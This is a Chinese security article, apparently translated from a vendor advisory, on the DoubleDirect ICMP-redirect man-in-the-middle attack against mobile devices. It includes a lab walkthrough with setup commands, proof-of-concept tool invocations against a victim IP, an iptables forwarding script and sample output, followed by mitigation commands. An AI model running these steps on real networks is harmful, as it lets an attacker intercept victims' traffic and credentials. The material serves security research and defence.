走近科学:剑指Android和iOS系统的DoubleDirect中间人攻击

  安全研究员发现一种新型的中间人攻击技术,它的攻击目标主要是运行Android系统和iOS系统的智能手机和平板电脑。

  这种被称为DoubleDirect的技术属于中间人(MITM)攻击的一种。攻击者可以利用这种技术把受害者访问谷歌、Facebook、Twitter上的流量重定向到攻击者控制的设备上,而一旦受害者的流量被重定向了,攻击者就可窃取受害者的私人数据,比如,邮箱ID、登录凭证、银行信息等,当然他还可以在受害者的机器上安装木马等恶意软件。

  旧金山的一家移动安全公司Zimperium在其博客中详细介绍了这一威胁。黑客正在利用DoubleDirect技术进行针对性攻击,范围包括美国、英国、加拿大在内的31个国家,5大互联网巨头——Google,Facebook,Hotmail,Live.com和Twitter。

  全双工的ICMP重定向中间人攻击

  ICMP攻击是中间人攻击(MITM)的一种,传统的ICMP重定向攻击及其利用工具则类似于ettercap +半双工中间人攻击(MITM)。受害者因为ICMP重定向攻击被欺骗,路由器因为ARP欺骗攻击被毒化。这种ICMP攻击可以通过防御ARP攻击的传统手段相对轻松的防御住。

  而DoubleDirect则有所不同,它通过ICMP(网间控制报文协议)重定向数据包改变主机路由表。ICMP重定向数据包会告诉主机有一个更好的路由路径可以达到目的地。改变受害者机器上的路由表可以使任意的网络流量流向特定的IP地址(比如攻击者的IP),然后攻击者就可以从中作梗发动中间人攻击了。在流量被重定向之后,攻击者可通过利用客户端漏洞攻击受害者的设备,从而访问受害者的网络。

  通过研究DoubleDirect攻击,我们发现攻击者通过目前未知的技术,实现了全双工的ICMP重定向中间人攻击。而传统的ICMP重定向攻击是有半双工限制的。

  DoubleDirect攻击是如何工作的?

  Zimperium移动安全实验室在研究该攻击之后创建了一个攻击测试工具,它可以证明发动全双工ICMP重定向攻击是有可能的。ICMP重定向攻击的难点在于,攻击者必须预先知道受害者已经可到达的IP地址。

  攻击者怎样知道受害者可达的IP地址呢?要回答这个问题我们应该先分析受害者的设备。

  例如,当我们在浏览器中输入www.zimperium.com时,应用程序会发送一个DNS请求以找出www.zimperium.com主机的IP地址。

  首先,我们会用ICMP重定向数据包把受害者设备上的所有DNS流量转发到我们的设备上。大多数时候我们都能预测到受害者使用的DNS服务器。

  如果受害者与我们在同个局域网(LAN),那么受害者的DNS服务器也很有可能与我们通过DHCP(动态主机配置协议)所获得的DNS服务器相同。当然,有些移动设备使用的是默认的DNS服务器(8.8.8.8或者 8.8.4.4)。

  我们还提供了一个简单有效的工具来研究DoubleDirect,单击这里即可下载。

  如果想编译和运行这个工具,你需要在系统上安装libcrafter(https://code.google.com/p/libcrafter/)。libcrafter是一个C++开发的跨平台库,可以用来抓包和解包。在GNU/linux或者MAC OS X系统上编译,你需要执行以下的命令:

  $ git clone https://github.com/pellegre/libcrafter

  $ cd libcrafter/libcrafter

  $ ./autogen.sh

  $ make

  $ sudo make install

  $ sudo ldconfig

  值得注意的是,在配置libcrafter之前你需要安装抓包工具libpcap:

  #apt-get install libpcap-dev

  DoubleDirect实例:全双工ICMP重定向攻击

  场景再现

  网关=192.168.1.1

  攻击机(Ubuntu)=192.168.1.105

  受害机(GalaxyS4)=192.168.1.101

  受害机配置

  首先需要做的是,检查设备是否支持重定向。GalaxyS4会默认支持重定向:

  # cat /proc/sys/net/ipv4/conf/all/accept_redirects 1

  其次,如果你的设备不支持ICMP重定向但你又想测试这一攻击,那可以执行下面的命令:

  # echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

  攻击机配置

  为了保证攻击的正确进行,我们需要在攻击者设备上执行一些命令:

  对数据流量进行转发(该方式具有暂时性,重启便失效。要想长久保持转发需要修改/etc/sysctl.conf)

  # echo 1 > /proc/sys/net/ipv4/ip_forward

  关闭攻击机的重定向设置。这很重要!我们需要告诉告诉攻击设备的内核:不要发送重定向

  # echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect

  攻击演示

  编译DoubleDirect_poc.cpp文件:

  $ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter

  $ ./doubledirect_poc

  [#] ***** ZIMPERIUM – DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****

  [#] Usage: ./doubledirect_poc [options]

  POC选项:

  -i 指定网络接口

  -v 受害机IP地址

  -d 毒化的目标IP

  当受害者访问一些网址时,我们会毒化一个受害者机器可达的远程IP地址,而不是进行局域网ARP欺骗。然后我们就让受害者的流量发向我们的设备,而不通过真正的网关。

  当设备发送了一个目的地为8.8.8.8的IP数据包时,它本该经过网关(192.168.1.1)……

  我们在攻击者设备上执行:

  $ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8

  [#] Attack parameters :

  [+] Interface : wlan0

  [+] Victim IP address : 192.168.1.101

  [+] Destination to poison : 8.8.8.8

  [#] Gateway parameters :

  [+] Gateway IP address : 192.168.1.1

  [+] Gateway MAC address : *:*:*:*:AE:51

  [#] My parameters :

  [+] My IP address : 192.168.1.105

  从上面的演示可以看出,我们是怎样毒化8.8.8.8为我们的IP192.168.1.105的。当受害者发送目的地为8.8.8.8的数据包时,它会把我们的设备作为网关,这样一来我们就可以嗅探到流向目的地的所有流量了。

  一旦所有的DNS流量都通过我们的电脑转发了,我们通过DNS回应包获得IP地址,并可以向这些IP地址发送ICMP重定向数据包。这样,我们不仅能嗅探到受害者的所有DNS流量,还可以完全的将其转发到我们的设备上。

  测试你是否易受DoubleDirect的攻击,我们可以写一个bash脚本,利用iptables进行IP转发:

  # cat iptables_dobule_direct.sh

  #!/bin/sh

  if [ $# -lt 1 ]; then

  echo "[@] Usage: `basename ${0}` "

  echo "[@] Example: `basename ${0}` wlan0"

  exit 0

  fi

  INTERFACE=${1}

  echo 1 > /proc/sys/net/ipv4/ip_forward

  echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects

  iptables –flush

  iptables –zero

  iptables –delete-chain

  iptables -F -t nat

  iptables –append FORWARD –in-interface $INTERFACE –jump ACCEPT

  iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE

  # ./iptables_double_direct.sh wlan0

  最后执行Zimperium DoubleDirect攻击测试工具:

  # ./doubledirect_poc -i wlan0 -v 192.168.1.101

  [#] ***** ZIMPERIUM – DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****

  [#] Attack parameters :

  [+] Interface : wlan0

  [+] Victim IP address : 192.168.1.101

  [#] Gateway parameters :

  [+] Gateway IP address : 192.168.2.1

  [+] Gateway MAC address : 00:1f:*:*:*:*

  [#] My parameters :

  [+] My IP address : 192.168.2.103

  DNS服务器是被硬编进代码(397行,DoubleDirect_poc.cpp文件)里的。

  // Hardcoded DNS servers we want to redirect to our machine

  startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway

  startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8");

  startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4");

  startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222");

  startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220");

  应对策略

  Android(安卓)、IOS、Mac OSX设备通常默认支持ICMP重定向。

  要想知道你的OS X设备是否易受DoubleDirect攻击,可以执行以下命令:

  sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"

  要想使ICMP重定向在Mac失效可以执行以下命令(需要Root权限):

  # sysctl -w net.inet.ip.redirect=0

  注:这种修复不具有持久性,要想使其长久的有效,你可以重启之后在命令行中添加启动脚本。

  对于Android来说,大部分的Android设备都会默认支持重定向,要想使其失效,需要root设备并且执行以下命令:

  # echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects

  哪些设备会受到攻击

  受影响的系统包括

  Android设备:大部分Android设备,包括Nexus 5 + Lollipop

  iOS设备:最新iOS设备,包括iOS 8.1.1()以外

  Mac:Mac OS X Yosemite(优胜美地)

  大部分Windows和GNU/Linux用户不会受到DoubleDirect的攻击,因为这些操作系统不支持ICMP重定向数据包。

 

上一篇:智能无惧挑战 山石网科轰动RSA2015

下一篇:黑客伪造Viber未接来电传播病毒